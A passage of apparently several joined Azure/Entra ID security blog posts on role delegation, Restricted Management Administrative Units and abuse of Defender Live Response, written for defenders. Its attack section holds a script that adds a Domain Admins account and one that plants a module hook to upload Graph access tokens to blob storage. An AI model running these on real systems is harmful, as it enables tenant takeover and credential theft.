As already described, previous roles have sensitive permissions which should avoided to be granted on directory-level. It’s possible to assign the “Cloud Application Administrator” role on object-level of the application and service principal:

Role assignment of “Cloud Application Administrator” allows to select scope on object-level

This gives you also the opportunity to replace owner permission with object-level permissions to the Entra ID role. This includes all benefits of using Entra ID roles, such as eligible membership (managed by PIM) or group-based assignment.

Eligible Assignment of “Cloud Application Administrator” on scope of app registration “b2xapp”.

Custom Entra ID admin roles for delegation

Microsoft has integrated many permissions related to Application and Service Principals objects to Entra ID Custom Roles. This allows us to create a custom role on specific permissions and follow the least-privilege approach. In addition, the custom role can be also assigned to all directory- and object-level.

Delegation of specific tasks can be achieved by custom roles (e.g., creating role permission set to managed application properties without updating credentials).

Permission to create and modify Managed Identities

The previous descriptions are mostly in relation to Application Identities in Entra ID. But who can create an managed identity in Azure?

Every “Contributor” or resource-specific Contributor role (such as Virtual Machine Contributor) are allowed to enable system-assigned identity for the related resources. There are no specific Entra ID permissions needed to provision a system-enabled managed identity. Example: Enable managed identity for a Virtual Machine needs only a role action as Microsoft.Compute/virtualMachines/write which is included in the role definition of “Virtual Machine Contributor”.

There are two specific roles for managing user-assigned identities:

• Managed Identity Contributor Create, Read, Update, and Delete User Assigned Identity
• Managed Identity Operator Read and Assign User Assigned Identity

Both roles have the permission to assign a managed identity to another resource. The related Resource Provider and Action namespace is named Microsoft.ManagedIdentity and can be also used for creating custom Azure RBAC roles. Other roles with a wildcard on the action scope (such as Owner and Contributor) has also the permissions to modify and assign user-assigned identities.

Next: Implementing a Lifecycle and Operational Monitoring***

In the second part of the blog post series, I will describe some aspects which could be included in your strategy to implement a lifecycle monitoring. There are also solutions by Microsoft and the community which helps you to monitor your workload identities. The focus will be set on application identities because of the missing relation to a workload and credential management.

Protection of privileged users and groups outside of Azure AD roles needs particular care to prevent privileged escalation because those objects are not protected by default in Azure AD. For example, service-specific Azure AD roles (e.g. Intune or Windows 365 Administrator) has been able to modify security groups with assigned privileges in Azure RBAC or any other non-Azure AD RBAC.

In this blog post I like to describe and explain the new option for “Restricted Management Administrative Units” (RMAUs) which allows to restrict management of assigned objects from Azure AD role members on tenant-level. Permissions on assigned resources in the RMAU will be restricted to the administrators scoped on the level of an Administrative Unit (AU). A focus will be also set to automated management of RMAUs via Microsoft Graph API. In addition, I will explain use cases and why this feature becomes an important part to implement a tiered administration model (“Enterprise Access Model”) but also which scenarios are unsupported.

Azure Active Directory has a flat hierarchy by default. In the past, Administrative Units already allowed to scope some directory roles on “Administrative Units” instead of the “Directory” (tenant-level) scope. Nevertheless, Azure AD role assignment on tenant-level has been inherited to all objects in AUs.

Overview of Restricted Management Administrative Units (RMAU)

Why use Restricted Management AU?

In the past, privileged users and groups have been protected (by default) as far they are assigned to an Azure AD admin role or role-assignable group. Furthermore, the management to those group members has been restricted to “Global Admin” and “Privileged Authentication Administrator” during a permanent or active assignment (in case of using Azure PIM for Groups) to role-assignable groups. But also permissions to manage groups and memberships have been restricted to “Global Admins”, “Privileged Role Administrator” and Group Owners.

Overview of restricted management on users and groups to “Global and Privileged Authentication Administrators” by using different group types and PIM features in Azure AD.

Side Note: A limit of 500 role-assignable groups exist on tenant-level and management of protected users can not delegated to custom or scoped Azure AD admin roles. Therefore, it makes sense to use this group type for certain scenarios only. From my point of view, protection of users and groups by RMAU is also interesting to avoid reaching this limit.

Protecting users and groups on “Management and Data/Workload plane” (outside of Azure AD directory roles) has been a challenge in the past. Members with assigned Microsoft 365 service-specific directory roles (such as Intune, Knowledge or Windows 365 administrators) has been able to modify security group objects on tenant-level. These permission needs to be restricted to avoid privileged escalation. For example, gaining access to Azure resources by modifying Azure RBAC-assigned security groups

Security group will be mostly used on “Management and Workload/Data plane” (such as Azure DevOps, Azure resources or Microsoft 365 RBAC systems). This includes the risk of manipulation by privileged identities with “Group Management” permissions. Helpdesk, User Administrators or other similar roles has been able to “take over” accounts with privileges outside of Azure AD. Limitation on fine-grained scoping or custom directory roles has been a “blocker” to avoid privilege escalation paths in the past.

Restricted Management Administrative Units (RMAU) allows to restrict management of assigned users and groups by Azure AD role assignments on “Directory” scope. For example, “User Administrators” will not be able to change password of RMAU assigned accounts (for example, CEO, Developers) by default. An administrator with assigned “Group Administrator” role can be prevented from changing membership of security groups if they are assigned to a RMAU.

In summary, you need an explicitly assigned permission to modify objects which are assigned to an RMAU. Keep in mind, this means that additional assigned directory roles with scope on RMAU-level are needed if management permissions by specific workflows and administrators shall be maintained.

Restricted AUs block inheritance of Azure AD roles on directory roles, particular role assignments on AU level is needed to manage assigned objects. Keep in mind, only a limited set of built-in roles are supported for RMAU-level role assignments. Custom roles are supported and gives you advanced capabilities for limit permission set on least privilege principle.

Supported objects and other limitations

Supported object types for Restricted AUs are users, security groups and devices. Unfortunately, security groups which are managed in Azure AD PIM (“PIM for Groups”) as well as mail-enabled and Microsoft 365 Groups aren’t not supported.

An overview about the supported objects types are documented in Microsoft Learn.

RMAUs do not cover an restriction to manage those objects as group members outside of the restricted management. This includes also protection for RMAU-assigned objects outside of the Azure AD management (e.g., device objects in Intune or mailbox settings in Exchange). Keep this in mind for other scenarios, e.g. protecting devices from assignments to device policies in Intune. A full overview of supported operations are listed in Microsoft Learn.

Which types and scope of administrative privileges are restricted?

Directory Roles

By default, inherited permissions of (tenant-level) directory roles will no longer been applied to users, devices and groups in RMAUs. This includes also “Global Administrator” (GA), “Privileged Role Administrator” (PRA) and “Privileged Authentication Administrator” (PAA). Delegation to manage objects in RMAUs can be achieved by using respective roles on the scope of the specific Administrative Unit. Nevertheless, Global and Privileged Role Administrators can modify role assignments with scope on RMAUs. So, they’re able to grant self-assigned permissions to RMAUs.

By design, Global Admins are blocked from managing objects which have been assigned to RMAU. An assignment as “User Administrator” in scope of the certain RMAU is needed to manage objects from a RMAU.

Important note: There’s a conflict for managing objects which are assigned to RMAU but also protected by Azure AD privileged assignments (such as active assignment to role-assignable groups or active/eligible assignment to Azure AD admin roles). Those objects are already restricted to be managed by GA and PRA only. If you add those objects to an RMAU, the inheritance will be disable and there’s no option to assign GA or PRA role particular on RMAU-Level. Therefore, make sure that protected objects by Azure AD roles and role-assignable groups will not be also protected by RMAU. Otherwise, you have no option to manage them until the RMAU assignment will be removed.

Owner of Role-Assignable Groups (with/without enabled PIM for Groups)

Delegation to manage role-assignable groups as permanent or eligible “Owner” will be restricted when the groups are member of a RMAU. Assigning RMAU-scoped permissions as “Group Administrators” will also not allow to manage this group. As already mentioned in the side note and described in the previous table, this type of objects will be already protected by another built-in protection layer in Azure AD. You should consider managing these objects outside of RMAU and ask yourself if additional protection by RMAU is really needed.

Microsoft has documented this behavior as limitation of RMAUs.

Owner of Security Groups (with/without enabled PIM for Groups)

Delegation to manage security groups by any tenant-level Azure AD admin role but also as permanent or eligible “Owner” will be restricted when these objects are member of a RMAU. If you want to delegate management permissions to this group, assignment of “Group Administrators” needs to be scoped on RMAU. Nevertheless, “PIM for Groups” is not supported in combination with RMAU.

Microsoft Graph API Permissions

Service Principals with AdministrativeUnit.ReadWrite.All permissions are able to add or remove members of RMAU. But the service principals will no longer been able to manage objects after the object has been added to RMAU. Permissions such as User.WriteRead.All or Groups.ReadWrite.All will be also restricted (similar to role assignments of “User or Group Administrator” on tenant-level). You will receive the following error message:

Insufficient privileges to complete the operation. Target object is a member of a restricted management administrative unit and can only be modified by administrators scoped to that administrative unit. Check that you are assigned a role that has permission to perform the operation for this restricted management administrative unit. Learn more: https://go.microsoft.com/fwlink/?linkid=2197831

Currently you can grant permission to manage objects from a RMAU by assigning the API Permission Directory.Write.Restricted which establishes the access on a tenant-level scope. Verify if an assigned RMAU-scoped directory roles to the service principals would be a better solution in aspects of a “least privilege” approach.

But keep in mind, removing objects from the RMAU to use management permissions have always been possible (as part of the AdministrativeUnit.ReadWrite.All permission).

Other privileged access paths

During my tests, I’ve tried some privileged access paths outside of Azure AD role members or Microsoft Graph API permissions. This has been also potential privileged escalation paths in the past.

• Users assigned to RAMU are not protected from “account takeover” by Azure AD Connect synchronization (even if soft- and hard match are not blocked). Check out the “Azure AD Attack & Defense” chapter about abusing synchronization service accounts if you are interested to learn more about soft- and hard match.
• Assignment of membership to groups in RMAUs by using “Access Packages” in Identity Governance continued to function as expected. Keep in mind, delegated administrators (“Access package assignment manager” or “Access package manger”) will be able to assign or create access packages in Entitlement Management which includes groups from RMAUs.

Overview of protection and delegation capabilities by using RMAU and role assignable groups

As already described in detail, a couple of scenarios using role-assignable groups or “PIM for Groups” are not supported or suitable in combination with RMAU. The following table should help to keep an overview about restriction of members as assignment of RMAU but also in relation to role assignable group.

Side Note: All data without warranty! I will continue some additional tests to double check the results because of the huge scope of scenarios and combinations. Feedback is always welcome!

From my point of view, the following use cases (as an example) could be evaluated to decide if role-assignable groups or protection by RMAU (based on the previous named considerations) are usable for you:

• Use “role assignable groups” for Azure AD roles and protecting high-privileged users (on “Control Plane/Tier0” in Azure AD or high-sensitive permissions on “Management Plane/Tier1” or Cloud Platform) but avoid assignments for those group types and assigned members to RMAU.
• Assign privileged or sensitive security groups which are not managed in Azure AD PIM (“PIM for Groups”) and should be restricted from Azure AD admins with “Group Management” permissions (e.g., sensitive configuration or provisioning groups). This includes also groups with eligible assignments to Azure (Resources) PIM.
• Assign privileged or sensitive users (for example: C-Level accounts, DevOps) without protection by role-assignable groups or Azure AD role assignmenet to RMAU for establishing a restricted management (marked above “Unrestricted*”). This can also cover eligible member of “PIM for Groups”.
• Assign privileged or sensitive device objects to RMAU to protect extension attribute (e.g., used in Device Filters).

In the following descriptions and use cases, I will set my focus to restrict and isolate users or groups which will be used in Azure-related RBAC systems (security groups with eligible assignment to Azure Resources). RMAU provides restriction capabilities to establish a tiered administration as part of the “Enterprise Administration Mode”. The management of privileged objects in RMAUs should be restricted to “Control plane” (Tier0) admins (by Global Admins or dedicated admins with RMAU-scoped assignments) or integrated to secured identity governance processes (e.g., Entra ID Governance) only.

Manage RMAU via Microsoft Graph API

In the next section I would like to give some code samples about managing RMAU with PowerShell and Microsoft Graph API.

Create and manage RMAUs by Microsoft Graph API

The cmdlet Invoke-MgGraphRequest from the Microsoft Graph SDK will be used in the first sample to call the API endpoint. But there are also cmdlets to manage AUs directly, as you can see in the other samples as well. I’m using a Service Principal which needs AdministrativeUnit.ReadWrite.All” but no other or special permissions for creating RMAUs.

$Body = '
{
    "displayName": "Tier1-ManagementPlane.Azure",
    "description": "This administrative unit contains assets of ManagementPlane in Azure",
    "isMemberManagementRestricted": true
}'

Invoke-MgGraphRequest -Method "POST" -Body $Body -Uri https://graph.microsoft.com/beta/administrativeUnits

Properties of RMAU in the Azure Portal after creation via Microsoft Graph API

Assignment of objects to RMAU

Assignment of objects to a restricted management AU requires AdministrativeUnit.ReadWrite.All permission only. In addition, User.Read.All and/or Group.Read.All is required to read/search the objects before adding them to the RMAU:

$AdminUnitUserMembers = ("admThomas1@cloud-architekt.net","admScotty1@cloud-architekt.net")
$AdminUnitGroupMembers = ("prg_Lab-Tier1.Azure.1.PlatformOps", "prg_Lab-Tier1.Azure.1.SecOps")
$AdminUnitName = "Tier1-ManagementPlane.Azure"
$AdminUnitId = (Get-MgDirectoryAdministrativeUnit -Filter "displayname eq '$AdminUnitName'").Id

foreach ($AdminUnitUserMember in $AdminUnitUserMembers) {
    $UserId = (Get-MgUser -Filter "userPrincipalName eq '$($AdminUnitUserMember)'").Id
    New-MgDirectoryAdministrativeUnitMemberByRef -AdministrativeUnitId $AdminUnitId -AdditionalProperties @{"@odata.id"="https://graph.microsoft.com/v1.0/users/$UserId"}
}

foreach ($AdminUnitGroupMember in $AdminUnitGroupMembers) {
		$GroupId = (Get-MgGroup -Filter "displayName eq '$($AdminUnitGroupMember)'").Id
		New-MgDirectoryAdministrativeUnitMemberByRef -AdministrativeUnitId $AdminUnitId -AdditionalProperties @{"@odata.id"="https://graph.microsoft.com/v1.0/groups/$GroupId"}
}

The previous sample can be also customized to add different object types (user and groups) by ObjectId :

$AzurePrivilegedObjects = ("182472f1-e301-4585-9cd8-78486ac9706a","1f4899f3-b288-4993-b664-6913a462a4db")
$AzurePrivilegedObjects | foreach-object { 
                $AdminUnitMember = (Get-MgDirectoryObject -DirectoryObjectId $_.ObjectId)
                Write-Host "Adding $($AdminUnitMember.AdditionalProperties.userPrincipalName) to $($AdminUnitName)"
                New-MgDirectoryAdministrativeUnitMemberByRef -AdministrativeUnitId $AdminUnitId -AdditionalProperties @{"@odata.id"="https://graph.microsoft.com/v1.0/directoryObjects/$($_.ObjectId)"}
}

Side notes from my tests and automation jobs:

• Memberships of Administrative Units can be also automated by Azure AD Terraform Provider.
• In the past, there was no Remove-MgDirectoryAdministrativeUnitMember* cmdlet in “Microsoft.Graph” PowerShell module. Therefor,e I’ve have been chosen the “Delete” method on the API call, like I did by using Invoke-MgGraphRequest.

Identify which objects are protected by RMAU

The Azure (AD) portal shows a yellow information bar if a users or groups blade is restricted because of an assignment to a RMAU:

Restricted management will be shown in the overview of the “object” blade and in the properties.

Microsoft Graph API offers also an opportunity to check if object management is restricted:

$UserId = read-host -Prompt "Your user object ID to validate restricted management"
(Invoke-MgGraphRequest -Method Get -Uri https://graph.microsoft.com/beta/users/$userid -OutputType PSObject).isManagementRestricted

Add or remove scoped directory roles to RMAU

The assignment of directory roles with scope on a RMAU can be automated by using an existing “Microsoft.Graph” cmdlet. Permissions on Application API Permission scope “RoleManagement.ReadWrite.Directory” or “Privileged Role Administrator” directory role assignment are required. In the following example, “User Administrator” will be assigned to Identity Team (Control plane) to manage user accounts in RMAU:

# Associated Role Id to Directory Role can be listed with the following cmdlet
$DirectoryRole = "Groups Administrator"
$ScopedDirectoryRole = (Get-MgDirectoryRole -filter "DisplayName eq '$($DirectoryRole)'").Id
$ScopedDirectoryRoleMemberGroup = "prg_Lab-Tier0.AADTenant.0.IdentityOps"
$ScopedDirectoryRoleMemberId = (Get-MgGroup -Filter "DisplayName eq '$($ScopedDirectoryRoleMemberGroup)'").Id

$Body = @{
    RoleId = $ScopedDirectoryRole
    RoleMemberInfo = @{
        Id = $ScopedDirectoryRoleMemberId 
    }
}
New-MgDirectoryAdministrativeUnitScopedRoleMember -AdministrativeUnitId $AdminUnitId -BodyParameter $Body

Assignment of RMAU-scoped directory roles works similar to Administrative Units in general

Side Note: Eligible directory role assignments on scope of RMAUs are also supported by Azure AD PIM. Check out the Microsoft docs article if you are interested in using PIM and consider to including the RMAU Object Id in the scope of directoryScopeId

Audit logs in Azure AD

Activities on RMAUs will be shown in a dedicated “OperationName” (e.g., “Add member to restricted management administrative unit”). This allows to use a simple filter for audit events related to RMAU operations.

AuditLogs
| where OperationName contains "restricted management administrative unit"
| extend InitiatingUserOrApp = iff(isnotempty(InitiatedBy.user.userPrincipalName),tostring(InitiatedBy.user.userPrincipalName), tostring(InitiatedBy.app.displayName))
| extend InitiatingUserOrAppId = iff(isnotempty(InitiatedBy.user.id),tostring(InitiatedBy.user.id), tostring(InitiatedBy.app.servicePrincipalId))
| extend InitiatingIpAddress = iff(isnotempty(InitiatedBy.user.ipAddress), tostring(InitiatedBy.user.ipAddress), tostring(InitiatedBy.app.ipAddress))

Result of KQL query on Audit Logs to check change of assignments on RMAU

Strictly monitoring of removing privileged or sensitive objects from RMAU should be considered.

Create, update or deleted operations on RMAUs are also available from the Audit Log . This sensitive activity can be filtered by using the property value of “IsMemberManagementRestricted”:

AuditLogs
| mv-expand TargetResources
| mv-expand TargetResources.modifiedProperties
| mv-expand TargetResources.modifiedProperties | where TargetResources_modifiedProperties.displayName == "IsMemberManagementRestricted"
| extend ActorId = iff(isnotempty(InitiatedBy.user.id),tostring(InitiatedBy.user.id), tostring(InitiatedBy.app.servicePrincipalId))
| extend ActorName = iff(isnotempty(InitiatedBy.user.userPrincipalName),tostring(InitiatedBy.user.userPrincipalName), tostring(InitiatedBy.app.displayName))

Samples from my “Enterprise Access Model” implementations

In the following section, I would like to give you an overview about some use cases in a tiered administration environment where RMAUs offers a great security benefit in restricted management. Unfortunately, security groups (using “PIM for Groups”) and role-assignable groups (Azure AD PIM) are not supported or appropriated. Using “PIM for Groups” and RMAU would be a perfect match to combine protection with the capability of Just-in-Time (JIT) access. Nevertheless, there are a couple of scenarios where users are assigned to groups with eligible roles to Azure RBAC.

The described examples are part of my solution to implement an “Enterprise Access Model” and result of continuous research (started three years ago), development and experiences to find a practical approach to implement a tier model in Microsoft Azure and Azure AD.

Are you interested in learning more about my implementation of Enterprise Access Model? I’m speaking at TEC 2023 in a deep dive session about entire solution and share more insights how you can protect privileged identities in Azure AD. More information and tickets: The Experts Conference (TEC) 2023

Security principals in Azure RBAC role assignments

Protecting privileged users and groups on management and workload plane in Microsoft Azure was one of the previously named use cases. This is even more important, especially for those sensitive role definitions which have “Owner” or “Contributor” permission on Landing Zones (Workloads).

Overview of my Enterprise Access and Tiered Administration Model. Users and groups with permissions on the different tiered levels are assigned to the related RMAUs or AUs. For example, user accounts with sensitive workload plane permissions (Contributor of Resource Group) are assigned to RMAU “Workload Plane Accounts”.” Side Note: I would recommend to use role-assignable groups as primary “role group” for comprehensive horizontal scope (such as “PlatformOps” or “SecOps”) on management plane which offers also the capability to use this groups for delegation to scoped Azure AD roles (e.g., managing Landing Zone security groups in a RMAU).

An overview and sample of my defined Azure roles and classification in the “Tired Administration” design can be found here.

The privileged principals in Azure RBAC need to be protected and assigned to an associated RMAUs. Therefore, I build this automation as part of my AADOps PoC project.

Identification of Azure RBAC privileged objects for assignment

I’ve used my existing PowerShell script to get a list of all eligible and permanent roles in Azure PIM. In addition, I build a classification on role scope and actions to define the access (tier) level of the privileges.

The diagram below shows you an overview about the automation which I have developed to classify and assign privileged objects to RMAU automatically.

Example: Built-in or custom roles are classified as “Control plane” (Tier0) if they include action on “virtualMachines” and are assigned to the resource group which contains domain controllers. Users or groups with related Azure RBAC assignments will be classified as “Control plane” administrators and assigned to the associated RMAU automatically. The certain role assignments will be also stored in JSON export which shows the assigned privileged RBAC role.

At the end, this solution offers an automated assignment of privileged users and groups to the related “tier level” RMAUs. This provides an automation to restrict management for every classified privileged object as soon as the assignment has been made and the pipeline has triggered.

Azure Tags can be also used for classification of “AdminTierLevel” and “Service” alongside of manual classification in a JSON file.

Alternate solution: Microsoft has been released an option to assign users to Administrative Units automatically by using a “Dynamic membership rules”. This can be also used to assign Azure admins to RMAU if you have introduced a unique attribute to classify or identify those accounts (e.g., ExtensionAttribute or Naming Convention). Don’t forget to consider the trust of the attributes used in the membership rules. Everyone who can modify this attribute will be able to manage assignments to the RMAU. Groups are not supported for dynamic membership (rules) yet.

Note: Custom security attributes cannot be used as for dynamic assignment.

Project (collection) members in Azure DevOps

Abuse of privileged service connections (defined in service connection) or manipulation of CI/CD pipelines can be achieved by “account takeover” from privileged “Project (Collection) Administrators” or members of sensitive projects in Azure DevOps.

Overview of sensitive users and groups in Azure DevOps organizations. Project collection administrators and other sensitive role members with direct/indirect privileges to manipulate protected branches or pipelines should be protected by RMAU.

Modification of the assigned security groups from Azure AD is another access path. Review sensitive permission assignments of your Azure AD objects on organization- and project-level. Vinicius Moura has written a blog post about using Azure DevOps CLI to get a list of all users and group permissions in Azure DevOps.

Members with privileged access on “Organization- and Collection-Level” should be also restricted (e.g., Project Collection Administrators). But also, users with assigned “Project- or Object-level” permissions should be considered. e.g., when you are using Azure DevOps Projects to automate Azure and Azure AD environment (e.g., M365DSC) and users can modify Branch Policies, Service Connection or any other sensitive action.

Billing role members from Azure Enterprise Agreement Management

Users with roles in Enterprise Agreement (EA) portal are another use case for sensitive accounts without protection in Azure AD by default. Read my Twitter threat or blog post if you want to learn more about these high-privileged roles.

Enterprise Administrators are able to modify roles in EA portal and change Account Owner which has full control on the Azure subscriptions. RMAU supports you to limit user management for those sensitive accounts as well.

I’ve written a PowerShell script to get a list of all assigned users in EA billing roles. This can be used (similar to the Azure RBAC script) to get a list of users which could be protected by assignment to RMAUs. The Billing REST API and Azure CLI allows to get a list of users with access.

Review all users with EA roles and consider protecting those accounts by assigning them to the associated RMAU (e.g., Enterprise Administrator to “Tier0-ControlPlane.Azure”).

Administrative Accounts to manage B2C tenants

Organizations which have been implemented “Azure Active Directory B2C” tenants are mostly using accounts from the organization’s tenant for privileged access. Those accounts will be invited as B2B guest users and assigned to directory roles in the B2C tenant.

User account in organization’s tenant will be invited to B2C tenants for management.

Assignment of the directory role in the B2C tenant will not apply the protection of directory role members in the home tenant. Therefore, those accounts should be assigned to RMAU to avoid “account takeover” by “User Administrators” or other delegated Azure AD roles in the organization’s tenant. Identify those B2C admin accounts in your tenant and assign them to an RAMU (e.g., Tier0-ControlPlane.AzureAD-B2C). This prevents privilege escalation to customer identities from directory role members of the organization tenant.

Azure AD configuration items

Security groups will be used in many cases for configuration or policy assignments. For example, include/exclude groups from Conditional Access Policies but also for other policies such as Authentication Methods (scope for SSPR or TAP).

Identify sensitive groups based on the pre-defined naming convention for this configuration group. Modification of this group objects should be restricted to “Identity administrators” (Tier0/Control Plane) only. Otherwise, Intune or Windows 365 administrators can modify assignments of configuration items in your Azure AD tenant.

Exclusion Groups for Conditional Access will be created and assigned to RMAU. This prevents other directory roles with “Group Management” permissions to add their accounts in one of those groups to bypass Conditional Access policies.

Objects of Privileged or Secure Admin Workstations (PAW/SAW)

Azure AD device objects will be used in Conditional Access “Device filters” to restrict access from PAW/SAW only. In the past, it was a challenge to restrict Intune Administrators to manipulate device object attributes.

Device objects of PAW/SAW can be assigned to RMAU for restricted management by Intune and Windows 365 Administrators. Azure AD custom roles can be created and assigned to allow Endpoint admins limited management of the admin workstation.

Security groups for Intune RBAC, Device Compliance or Configuration Profiles assignment of SAW/PAW devices are other sensitive objects which should be restricted.

This dynamic group will be used to assign settings to SAW devices for “Control plane” administrators.

Microsoft Graph API can be used to get a list of all users and groups with assigned Intune RBAC roles.

What is Live Response?

Security Operations Teams need the ability to establish a remote session to managed devices for in-depth investigation (including collection of forensic evidence). Live Response offers the option to establish this kind of access to onboarded devices for running a number of supported operations, this includes also executing PowerShell scripts or accessing files. This feature has been integrated to the Microsoft 365 Defender Portal and can be enabled from the “Advanced features” blade. Live Response sessions can be started from the “Device Inventory” or “Incident” page by authorized admins and provides a cloud-based interactive shell with support for some basic commands. A defined list for the supported commands (also in relation to platform support) is very well documented by Microsoft.

Using live response command console from Microsoft 365 Defender portal to get a list of supported commands

In addition, there is also a way for programmatic access by using the “Microsoft Defender for Endpoint API” endpoint (hereinafter referred to as “MDE API”) under the API endpoint MachineAction.

Request a file from an MDE onboarded device by using Live Response via MDATP API (aka MDE API)

More information about Live Response are available from Microsoft Learn. There are also a couple of great blog articles by the community which explains this feature and related use cases:

• Using Microsoft Defender for Endpoint during investigation - Microsoft 365 Security (m365internals.com)
• Using Defender for Endpoint Live response API with Sentinel Playbooks/ Automation (jeffreyappel.nl)
• Microsoft Defender ATP – Live Response – Anything about IT (verboon.info)

Which components are involved?

Microsoft has shared some details about connectivity dependencies in the FAQ section of troubleshooting live response issues. This can be summarized as follows:

Live response leverages Defender for Endpoint sensor registration with WNS service in Windows. The WpnService (Windows Push Notifications System Service) interacts with WNS cloud service to initialize the connection.

The following docs articles covers further references to understand the WpnService in detail:

• Windows Push Notification Services (WNS) overview
• Enterprise Firewall and Proxy Configurations to Support WNS Traffic
• Microsoft Push Notifications Service (MPNS) Public IP ranges

As we can see later in the event logs, mainly two services are involved in the activities: MsSense.exe is the main service executable for MDE and will start SenseIR.exe as child process which creates processes or files for the related Live Response actions.

Library for upload/download scripts

It’s necessary to upload script files to the library before you can run them on the endpoints via Live Response. The library stores all script files at tenant-level and not for the individual user. Those files can be also managed by using the MDE API as well.

Upload of scripts to the library from M365D portal

Who can establish connections?

Azure AD admins

The following members to Azure AD admin roles (alongside of Global Admin) have direct or indirect permissions to interact with Response API and manage library:

• Security Administrator
• Security Operator

Microsoft 365 Defender RBAC

Microsoft has introduced a new Microsoft 365 Defender RBAC model which allows granular scoping for permissions. This includes also the delegation of the two custom permissions in relation to Live Response API. The permission are described in the Microsoft Learning article as follows:

• Basic live response Initiate a live response session, download files, and perform read-only actions on devices remotely.
• Advanced live response Create live response sessions and perform advanced actions, including uploading files and running scripts on devices remotely.

Azure AD cross-service admin roles (e.g., Global and Security Admin) can still access M365D features and data, even the RBAC model has been activated.

Side Note: I’ve decided to set the scope on using the new RBAC model for further scenarios and mitigations.

Workload Identity with API Permissions

As already described, the previously described features are also available via programmatic access. The following API Permissions from MDE API (named as “WindowsDefenderATP” in the API permission assignment) can be granted to an application:

• Machine.LiveResponse Permissions to establish remote session to run live response.
• Library.Manage Manage permissions for upload and download files to library
• Machine.Read.All Required permission to read machine actions which includes history of Live Response APIs and other Action Center activities

App registration with assigned permission has similar permissions for Live Response and Library access as “Security Admin”.

How can it be abused to gain privileged access?

I would like to describe two attack scenarios where privileged users or workload identities with “Advanced Live Response” permissions can gain Control Plane (Tier0) access. They rely on the possibility to execute (unsigned) scripts and abusing the established security context of “Local System” privileges. All the following attack scenarios are general examples and should only give an impression of how Tier0 devices (Domain Controllers, Privileged Access Workstations) could be affected. All the given samples will work interactively in the command console (Portal UI) but also by using the API.

In addition, you should consider also indirect privilege escalation paths by other privileged user and workload identities which are able to takeover accounts or groups with “Live Response” permissions.

Overview about related configurations and dependencies for establishing “Live Response Session” from the portal or by MDE API.

Create Domain Admin Account on Active Directory Domain Controllers

In this case, a live response session will be established to on-premises server which is running “Active Directory Domain Services”. The following script (”Add-DomainAdmin.ps1”) has been uploaded to the library:

Param(
    [Parameter(Mandatory=$False)]
    [string]$User = "DCAdmin",

    [Parameter(Mandatory=$False)]
    [Security.SecureString]$Password = ("D0mainAdm!n4U" | ConvertTo-SecureString -AsPlainText -Force)
)

New-LocalUser $User -Password $Password
net group "Domain Admins" $User /ADD /DOMAIN

The few lines of PowerShell script allow to create an AD user with a pre-defined password and add them to the “Domain Admins” group. The script can be executed remotely from the command console and shows the following result:

Command console displays the result from the executed PowerShell script and used Net command

Operations to create user account and add them to “Domain Admins” group will be executed by Local System and will be shown in the event log:

Transcript will be stored (alongside to other temporary files) in the following folder on the endpoint:

All executed commands will be visible in the command log:

As you can see in the screenshot, I’ve also used the getfile command to get a copy of the NTDS database file. In general, many malicious activities can be executed within the given security context.

Exfiltrate access tokens of Global Admin from Azure PowerShell by adding custom PostImportScript

Az PowerShell module allows to load a custom script after initialization by placing a script file to the “PostImportScripts” folder. This will be abused to run the Get-AzAccessToken cmdlet as soon the administrator is using an “Az.Resource” cmdlet (e.g., Get-AzResourceGroup). Furthermore, the script will create an access token for Microsoft Graph or Azure ARM API and exfiltrate them to blob storage.

The following script (Copy-AzTokenPostImportScripts.ps1) will be executed in the Live Response command console to create the previously described script file.

Param(
    [Parameter(Mandatory=$False)]
    [string]$User = "AdminAccount",

    [Parameter(Mandatory=$False)]
    [string]$ModulePath = "C:\Users\$($User)\Documents\PowerShell\Modules\Az.Resources\6.5.3"
)

$Content = '
    $BlobAccountName = "YourBlobStorage"
    $BlobSAStoken = "Secret"
    $ExportFolder = $env:Temp
    $ExportFileName = "MSGraph_access_token.txt"
    $ExportFilePath = $ExportFolder + "\" + $ExportFileName
    (Get-AzAccessToken -ResourceTypeName MSGraph).Token | Out-File $ExportFilePath

    $Uri = "https://$($BlobAccountName).blob.core.windows.net/token/$($ExportFileName)?$($BlobSAStoken)
    $headers = @{"x-ms-blob-type" = "BlockBlob"}
    Invoke-RestMethod -Uri $uri -Method Put -Headers $headers -InFile $file'
    
New-Item -Path "$ModulePath\PostImportScripts" -Name "Token.ps1" -ItemType "File" -Value $Content -Force

PowerShell script creates a script file in the Az.Resources module folder of the targeted user

Let’s take a closer look at what happens when the privileged user starts using Azure PowerShell:

• First of all, the cmdlet Connect-AzAccount will be used by the administrator for establishing an authenticated session to Microsoft Azure.
• Afterwards a cmdlet for managing Azure Resources will be used which requires to load the “Az.Resources” module.

• The script “Token.ps1” from the “PostImportScripts” folder will be executed and the access token (in this sample for Microsoft Graph API) will be requested and stored in a blob storage:

  

Access token has been exfiltrated and copied to blob storage. URL of blob storage endpoints are mostly not blocked (even on a PAW/SAW device) which allows accessing container with SAS key.

The replayed token includes DeviceId and amr (authentication method) of the privileged user from the endpoint but also a comprehensive scope of “Directory.AccessAsUser.All”.

Token could be used for further malicious activities by creating or manipulating objects in Azure AD via Microsoft Graph API. For example, creating secrets for privileged workload identity as backdoor.

Other replay techniques with scope on other token artifact types can be implemented on a similar approach (e.g., deploying browser extension for pass-the-cookie attacks).

What options are available for detection?

Action Center in M365D Portal

Audit of live response commands will be shown in the “History” tab of the “Action Center” (from M365D Portal). It displays the commands which have been entered in the portal UI or requested via API call. All initiated actions from privileged users and workload identities are covered.

Details and PowerShell Transcript can be downloaded from the “Command log”:

List of “runliveresponse” (Machine Actions) via API

MDE API allows to get a list of Machine Actions which includes Live Response API requests:

GET [https://api.securitycenter.windows.com/api/machineactions](https://api.securitycenter.windows.com/api/machineactions)

The response shows details of the Live Response request and command

{
    "@odata.context": "https://api.securitycenter.microsoft.com/api/$metadata#MachineActions",
    "value": [
        {
            "id": "c141bb71-8125-4234-a184-XXXXXXXXX",
            "type": "LiveResponse",
            "title": null,
            "requestor": "M365DLiveResponse",
            "requestorComment": "Create Domain Admin",
            "status": "Succeeded",
            "machineId": "a9e15a8b846d93d43d6XXXXXXX",
            "computerDnsName": "dc1.corp.cloud-architekt.net",
            "creationDateTimeUtc": "2023-03-18T21:02:00.3538594Z",
            "lastUpdateDateTimeUtc": "2023-03-18T21:04:41.93163Z",
            "cancellationRequestor": null,
            "cancellationComment": null,
            "cancellationDateTimeUtc": null,
            "errorHResult": 0,
            "scope": null,
            "externalId": null,
            "requestSource": "PublicApi",
            "relatedFileInfo": null,
            "commands": [
                {
                    "index": 0,
